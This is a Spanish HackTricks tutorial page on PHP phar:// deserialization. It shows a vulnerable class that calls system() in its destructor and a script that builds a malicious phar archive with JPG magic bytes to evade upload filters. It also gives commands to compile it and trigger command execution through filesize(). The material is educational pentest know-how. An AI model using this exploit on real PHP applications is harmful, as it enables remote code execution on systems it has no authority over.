5.3 KiB
Deserialización de phar://
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
- Si quieres ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Obtén merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.
Consejo de recompensa por errores: Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers. ¡Únete a nosotros en https://go.intigriti.com/hacktricks hoy y comienza a ganar recompensas de hasta $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Los archivos Phar (PHP Archive) contienen metadatos en formato serializado, por lo tanto, al ser analizados, estos metadatos se deserializan y se puede intentar abusar de una vulnerabilidad de deserialización dentro del código PHP.
Lo mejor de esta característica es que esta deserialización ocurrirá incluso utilizando funciones de PHP que no evalúan código PHP como file_get_contents(), fopen(), file() o file_exists(), md5_file(), filemtime() o filesize().
Entonces, imagina una situación en la que puedes hacer que un sitio web en PHP obtenga el tamaño de un archivo arbitrario utilizando el protocolo phar://
, y dentro del código encuentras una clase similar a la siguiente:
{% code title="vunl.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
filesize("phar://test.phar"); #The attacker can control this path
{% endcode %}
Puedes crear un archivo phar que, al cargarse, abusará de esta clase para ejecutar comandos arbitrarios de la siguiente manera:
{% code title="create_phar.php" %}
<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}
function __destruct() {
system($this->data);
}
}
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");
// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();
{% endcode %}
Note cómo los bytes mágicos de JPG (\xff\xd8\xff
) se agregan al principio del archivo phar para burlar posibles restricciones de carga de archivos.
Compila el archivo test.phar
con:
php --define phar.readonly=0 create_phar.php
Y ejecutar el comando whoami
abusando del código vulnerable con:
php vuln.php
Referencias
{% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
Consejo de recompensa por errores: ¡Regístrate en Intigriti, una plataforma premium de recompensas por errores creada por hackers, para hackers! Únete a nosotros en https://go.intigriti.com/hacktricks hoy, ¡y comienza a ganar recompensas de hasta $100,000!
{% embed url="https://go.intigriti.com/hacktricks" %}
Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
- Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF, consulta los PLANES DE SUSCRIPCIÓN!
- Obtén la merchandising oficial de PEASS & HackTricks
- Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @carlospolopm.
- Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.